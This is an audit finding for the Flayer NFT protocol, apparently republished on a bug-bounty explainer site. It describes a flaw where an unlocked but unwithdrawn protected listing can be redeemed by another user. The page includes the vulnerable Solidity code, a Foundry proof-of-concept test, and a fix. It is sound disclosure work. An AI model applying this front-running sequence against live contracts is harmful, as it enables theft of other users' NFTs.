Owner Can Lose The Token After Being Unlocked but Not Withdrawn
The unlockProtectedListing function sets the listing owner to zero when the owner chooses not to withdraw immediately, causing the Locker::isListing function to incorrectly treat the NFT as not protected. This allows another user to redeem or buy the NFT before the rightful owner withdraws it, potentially causing the owner to lose the NFT.
Source: https://github.com/sherlock-audit/2024-08-flayer-judging/issues/601
Found by
0x37, 0xAlix2, BADROBINX, Greese, Ironsidesec, adamn, almantare, araj, cnsdkc007, dany.armstrong90, h2134, merlinboii, t.aksoy, utsav, zarkk01, zzykxx
Summary
The unlockProtectedListing function allows a user to unlock an NFT and make it withdrawable for themselves. However, if the user does not immediately withdraw the NFT, another user can front-run the process by swapping, redeeming, or buying the NFT, as there is no protection mechanism preventing this. The Locker::isListing function fails to correctly identify the unlocked NFT as being in a protected state, allowing it to be redeemed.
Vulnerability Detail
When the unlockProtectedListing function is called, the NFT owner can either withdraw the NFT or leave it in the contract for later withdrawal. However If the NFT is not withdrawn immediately, a malicious user can swap, redeem, or buy the unlocked NFT.
Inside the unlockProtectedListing function, if the owner opts not to withdraw the NFT, the listing owner is set to zero and the NFT becomes withdrawable later by the rightful owner.
// Delete the listing objects
delete _protectedListings[_collection][_tokenId];
// Transfer the listing ERC721 back to the user
if (_withdraw) {
locker.withdrawToken(_collection, _tokenId, msg.sender);
emit ListingAssetWithdraw(_collection, _tokenId);
} else {
canWithdrawAsset[_collection][_tokenId] = msg.sender;
}
However, due to this owner field being set to zero, the Locker::isListing function incorrectly interprets the NFT as no longer being protected, allowing other users to redeem or buy the unlocked NFT before the rightful owner can withdraw it.
function isListing(address _collection, uint _tokenId) public view returns (bool) {
IListings _listings = listings;
// Check if we have a liquid or dutch listing
if (_listings.listings(_collection, _tokenId).owner != address(0)) {
return true;
}
// Check if we have a protected listing
if (_listings.protectedListings().listings(_collection, _tokenId).owner != address(0)) {
return true;
}
return false;
}
Test:
function test_redeemBeforeOner(uint _tokenId, uint96 _tokensTaken) public {
_assumeValidTokenId(_tokenId);
vm.assume(_tokensTaken >= 0.1 ether);
vm.assume(_tokensTaken <= 1 ether - protectedListings.KEEPER_REWARD());
// Set the owner to one of our test users (Alice)
address payable _owner = users[0];
// Mint our token to the _owner and approve the {Listings} contract to use it
erc721a.mint(_owner, _tokenId);
// Create our listing
vm.startPrank(_owner);
erc721a.approve(address(protectedListings), _tokenId);
_createProtectedListing({
_listing: IProtectedListings.CreateListing({
collection: address(erc721a),
tokenIds: _tokenIdToArray(_tokenId),
listing: IProtectedListings.ProtectedListing({
owner: _owner,
tokenTaken: _tokensTaken,
checkpoint: 0
})
})
});
// Approve the ERC20 token to be used by the listings contract to unlock the listings
locker.collectionToken(address(erc721a)).approve(
address(protectedListings),
_tokensTaken
);
protectedListings.unlockProtectedListing(
address(erc721a),
_tokenId,
false
);
vm.stopPrank();
// Approve the ERC20 token to be used by the listings contract to unlock the listings
locker.collectionToken(address(erc721a)).approve(
address(locker),
1000000000000 ether
);
//@audit another user can redeem before owner.
uint[] memory redeemTokenIds = new uint[](1);
redeemTokenIds[0] = _tokenId;
locker.redeem(address(erc721a), redeemTokenIds);
vm.prank(_owner);
// Owner cant withdraw anymore since they have been redeemed
protectedListings.withdrawProtectedListing(address(erc721a), _tokenId);
}
Impact
original owner might lose the NFT to a malicious actor who front-runs the withdrawal process
Code Snippet
https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/ProtectedListings.sol#L314 https://github.com/sherlock-audit/2024-08- flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/Locker.sol#L438
Tool used
Manual Review
Recommendation
Modify isListing function: Ensure that tokens marked as canWithdrawAsset are still considered active listings until they are fully withdrawn by their rightful owner.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
The unlockProtectedListing function deletes the protected listing and sets the owner to zero, so the isListing check no longer considers the NFT as protected, even though it is still withdrawable by the original owner.
Impact
The original owner could lose the NFT to a malicious actor who front-runs the withdrawal process.
What the attacker needed
Owner unlocks protected listing without withdrawing; Attacker redeems or buys before owner withdraws
The fix
The isListing function should be modified to consider tokens marked as canWithdrawAsset as still being active listings until they are fully withdrawn by their rightful owner.
How it was found
- Owner creates a protected listing for their NFT.
- Owner calls unlockProtectedListing with withdraw set to false, making the NFT withdrawable later.
- Another user redeems the NFT before the owner withdraws it.
- Owner attempts to withdraw but fails because the NFT has been redeemed.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
When you unlock an NFT, you can choose to withdraw it later. But the system marks it as no longer protected, so someone else can take it before you do. This means you could lose your NFT even though you paid to unlock it.
What is Business logic?
The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.